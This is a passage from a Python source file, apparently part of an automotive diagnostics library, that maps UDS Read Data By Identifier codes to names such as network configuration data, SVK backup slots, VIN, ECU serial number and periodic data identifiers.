\"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0c4] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0c5] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0c6] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0c7] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0c8] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0c9] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0ca] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0cb] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0cc] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0cd] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0ce] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0cf] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0d0] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0d1] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0d2] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0d3] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0d4] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0d5] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0d6] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0d7] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0d8] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0d9] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0da] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0db] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0dc] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0dd] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0de] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0df] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0e0] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0e1] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0e2] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0e3] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0e4] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0e5] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0e6] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0e7] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0e8] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0e9] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0ea] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0eb] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0ec] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0ed] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0ee] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0ef] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0f0] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0f1] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0f2] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0f3] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0f4] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0f5] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0f6] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0f7] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0f8] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0f9] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0fa] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0fb] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0fc] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0fd] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0fe] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf0ff] = \"networkConfigurationData\"\nUDS_RDBI.dataIdentifiers[0xf100] = \"activeSessionState\"\nUDS_RDBI.dataIdentifiers[0xF101] = \"SVKCurrent\"\nUDS_RDBI.dataIdentifiers[0xF102] = \"SVKSystemSupplier\"\nUDS_RDBI.dataIdentifiers[0xF103] = \"SVKFactory\"\nUDS_RDBI.dataIdentifiers[0xf104] = \"SVK_Backup_01\"\nUDS_RDBI.dataIdentifiers[0xf105] = \"SVK_Backup_02\"\nUDS_RDBI.dataIdentifiers[0xf106] = \"SVK_Backup_03\"\nUDS_RDBI.dataIdentifiers[0xf107] = \"SVK_Backup_04\"\nUDS_RDBI.dataIdentifiers[0xf108] = \"SVK_Backup_05\"\nUDS_RDBI.dataIdentifiers[0xf109] = \"SVK_Backup_06\"\nUDS_RDBI.dataIdentifiers[0xf10a] = \"SVK_Backup_07\"\nUDS_RDBI.dataIdentifiers[0xf10b] = \"SVK_Backup_08\"\nUDS_RDBI.dataIdentifiers[0xf10c] = \"SVK_Backup_09\"\nUDS_RDBI.dataIdentifiers[0xf10d] = \"SVK_Backup_10\"\nUDS_RDBI.dataIdentifiers[0xf10e] = \"SVK_Backup_11\"\nUDS_RDBI.dataIdentifiers[0xf10f] = \"SVK_Backup_12\"\nUDS_RDBI.dataIdentifiers[0xf110] = \"SVK_Backup_13\"\nUDS_RDBI.dataIdentifiers[0xf111] = \"SVK_Backup_14\"\nUDS_RDBI.dataIdentifiers[0xf112] = \"SVK_Backup_15\"\nUDS_RDBI.dataIdentifiers[0xf113] = \"SVK_Backup_16\"\nUDS_RDBI.dataIdentifiers[0xf114] = \"SVK_Backup_17\"\nUDS_RDBI.dataIdentifiers[0xf115] = \"SVK_Backup_18\"\nUDS_RDBI.dataIdentifiers[0xf116] = \"SVK_Backup_19\"\nUDS_RDBI.dataIdentifiers[0xf117] = \"SVK_Backup_20\"\nUDS_RDBI.dataIdentifiers[0xf118] = \"SVK_Backup_21\"\nUDS_RDBI.dataIdentifiers[0xf119] = \"SVK_Backup_22\"\nUDS_RDBI.dataIdentifiers[0xf11a] = \"SVK_Backup_23\"\nUDS_RDBI.dataIdentifiers[0xf11b] = \"SVK_Backup_24\"\nUDS_RDBI.dataIdentifiers[0xf11c] = \"SVK_Backup_25\"\nUDS_RDBI.dataIdentifiers[0xf11d] = \"SVK_Backup_26\"\nUDS_RDBI.dataIdentifiers[0xf11e] = \"SVK_Backup_27\"\nUDS_RDBI.dataIdentifiers[0xf11f] = \"SVK_Backup_28\"\nUDS_RDBI.dataIdentifiers[0xf120] = \"SVK_Backup_29\"\nUDS_RDBI.dataIdentifiers[0xf121] = \"SVK_Backup_30\"\nUDS_RDBI.dataIdentifiers[0xf122] = \"SVK_Backup_31\"\nUDS_RDBI.dataIdentifiers[0xf123] = \"SVK_Backup_32\"\nUDS_RDBI.dataIdentifiers[0xf124] = \"SVK_Backup_33\"\nUDS_RDBI.dataIdentifiers[0xf125] = \"SVK_Backup_34\"\nUDS_RDBI.dataIdentifiers[0xf126] = \"SVK_Backup_35\"\nUDS_RDBI.dataIdentifiers[0xf127] = \"SVK_Backup_36\"\nUDS_RDBI.dataIdentifiers[0xf128] = \"SVK_Backup_37\"\nUDS_RDBI.dataIdentifiers[0xf129] = \"SVK_Backup_38\"\nUDS_RDBI.dataIdentifiers[0xf12a] = \"SVK_Backup_39\"\nUDS_RDBI.dataIdentifiers[0xf12b] = \"SVK_Backup_40\"\nUDS_RDBI.dataIdentifiers[0xf12c] = \"SVK_Backup_41\"\nUDS_RDBI.dataIdentifiers[0xf12d] = \"SVK_Backup_42\"\nUDS_RDBI.dataIdentifiers[0xf12e] = \"SVK_Backup_43\"\nUDS_RDBI.dataIdentifiers[0xf12f] = \"SVK_Backup_44\"\nUDS_RDBI.dataIdentifiers[0xf130] = \"SVK_Backup_45\"\nUDS_RDBI.dataIdentifiers[0xf131] = \"SVK_Backup_46\"\nUDS_RDBI.dataIdentifiers[0xf132] = \"SVK_Backup_47\"\nUDS_RDBI.dataIdentifiers[0xf133] = \"SVK_Backup_48\"\nUDS_RDBI.dataIdentifiers[0xf134] = \"SVK_Backup_49\"\nUDS_RDBI.dataIdentifiers[0xf135] = \"SVK_Backup_50\"\nUDS_RDBI.dataIdentifiers[0xf136] = \"SVK_Backup_51\"\nUDS_RDBI.dataIdentifiers[0xf137] = \"SVK_Backup_52\"\nUDS_RDBI.dataIdentifiers[0xf138] = \"SVK_Backup_53\"\nUDS_RDBI.dataIdentifiers[0xf139] = \"SVK_Backup_54\"\nUDS_RDBI.dataIdentifiers[0xf13a] = \"SVK_Backup_55\"\nUDS_RDBI.dataIdentifiers[0xf13b] = \"SVK_Backup_56\"\nUDS_RDBI.dataIdentifiers[0xf13c] = \"SVK_Backup_57\"\nUDS_RDBI.dataIdentifiers[0xf13d] = \"SVK_Backup_58\"\nUDS_RDBI.dataIdentifiers[0xf13e] = \"SVK_Backup_59\"\nUDS_RDBI.dataIdentifiers[0xf13f] = \"SVK_Backup_60\"\nUDS_RDBI.dataIdentifiers[0xf140] = \"SVK_Backup_61\"\nUDS_RDBI.dataIdentifiers[0xf150] = \"SGBDIndex\"\nUDS_RDBI.dataIdentifiers[0xf15a] = \"fingerprint\"\nUDS_RDBI.dataIdentifiers[0xf180] = \"bootSoftwareIdentification\"\nUDS_RDBI.dataIdentifiers[0xf181] = \"applicationSoftwareIdentification\"\nUDS_RDBI.dataIdentifiers[0xf182] = \"applicationDataIdentification\"\nUDS_RDBI.dataIdentifiers[0xf183] = \"bootSoftwareFingerprint\"\nUDS_RDBI.dataIdentifiers[0xf184] = \"applicationSoftwareFingerprint\"\nUDS_RDBI.dataIdentifiers[0xf185] = \"applicationDataFingerprint\"\nUDS_RDBI.dataIdentifiers[0xf186] = \"activeDiagnosticSession\"\nUDS_RDBI.dataIdentifiers[0xf187] = \"vehicleManufacturerSparePartNumber\"\nUDS_RDBI.dataIdentifiers[0xf188] = \"vehicleManufacturerECUSoftwareNumber\"\nUDS_RDBI.dataIdentifiers[0xf189] = \"vehicleManufacturerECUSoftwareVersionNumber\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf18a] = \"systemSupplierIdentifier\"\nUDS_RDBI.dataIdentifiers[0xf18b] = \"ECUManufacturingDate\"\nUDS_RDBI.dataIdentifiers[0xf18c] = \"ECUSerialNumber\"\nUDS_RDBI.dataIdentifiers[0xf18d] = \"supportedFunctionalUnits\"\nUDS_RDBI.dataIdentifiers[0xf190] = \"VIN\"\nUDS_RDBI.dataIdentifiers[0xf191] = \"vehicleManufacturerECUHardwareNumber\"\nUDS_RDBI.dataIdentifiers[0xf192] = \"systemSupplierECUHardwareNumber\"\nUDS_RDBI.dataIdentifiers[0xf193] = \"systemSupplierECUHardwareVersionNumber\"\nUDS_RDBI.dataIdentifiers[0xf194] = \"systemSupplierECUSoftwareNumber\"\nUDS_RDBI.dataIdentifiers[0xf195] = \"systemSupplierECUSoftwareVersionNumber\"\nUDS_RDBI.dataIdentifiers[0xf196] = \"exhaustRegulationOrTypeApprovalNumber\"\nUDS_RDBI.dataIdentifiers[0xf197] = \"systemNameOrEngineType\"\nUDS_RDBI.dataIdentifiers[0xf198] = \"repairShopCodeOrTesterSerialNumber\"\nUDS_RDBI.dataIdentifiers[0xf199] = \"programmingDate\"\nUDS_RDBI.dataIdentifiers[0xf19a] = \"calibrationRepairShopCodeOrCalibrationEquipmentSerialNumber\"  # noqa E501\nUDS_RDBI.dataIdentifiers[0xf19b] = \"calibrationDate\"\nUDS_RDBI.dataIdentifiers[0xf19c] = \"calibrationEquipmentSoftwareNumber\"\nUDS_RDBI.dataIdentifiers[0xf19d] = \"ECUInstallationDate\"\nUDS_RDBI.dataIdentifiers[0xf19e] = \"ODXFileIdentifier\"\nUDS_RDBI.dataIdentifiers[0xf19f] = \"entityIdentifier\"\nUDS_RDBI.dataIdentifiers[0xf200] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf201] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf202] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf203] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf204] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf205] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf206] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf207] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf208] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf209] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf20a] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf20b] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf20c] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf20d] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf20e] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf20f] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf210] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf211] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf212] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf213] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf214] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf215] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf216] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf217] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf218] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf219] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf21a] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf21b] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf21c] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf21d] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf21e] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf21f] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf220] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf221] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf222] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf223] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf224] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf225] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf226] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf227] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf228] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf229] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf22a] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf22b] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf22c] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf22d] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf22e] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf22f] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf230] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf231] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf232] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf233] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf234] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf235] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf236] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf237] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf238] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf239] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf23a] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf23b] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf23c] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf23d] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf23e] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf23f] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf240] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf241] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf242] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf243] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf244] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf245] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf246] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf247] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf248] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf249] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf24a] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf24b] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf24c] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf24d] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf24e] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf24f] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf250] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf251] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf252] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf253] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf254] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf255] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf256] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf257] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf258] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf259] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf25a] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf25b] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf25c] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf25d] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf25e] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf25f] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf260] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf261] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf262] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf263] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf264] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf265] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf266] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf267] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf268] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf269] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf26a] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf26b] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf26c] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf26d] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf26e] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf26f] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf270] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf271] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf272] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf273] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf274] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf275] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf276] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf277] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf278] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf279] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf27a] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf27b] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf27c] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf27d] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf27e] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf27f] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf280] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf281] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf282] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf283] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf284] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf285] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf286] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf287] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf288] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf289] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf28a] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf28b] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf28c] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf28d] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf28e] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf28f] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf290] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf291] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf292] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf293] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf294] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf295] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf296] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf297] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf298] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf299] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf29a] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf29b] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf29c] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf29d] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf29e] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf29f] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2a0] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2a1] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2a2] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2a3] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2a4] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2a5] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2a6] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2a7] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2a8] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2a9] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2aa] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2ab] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2ac] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2ad] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2ae] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2af] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2b0] = \"periodicDataIdentifier_F200_F2FF\"\nUDS_RDBI.dataIdentifiers[0xf2b1] = 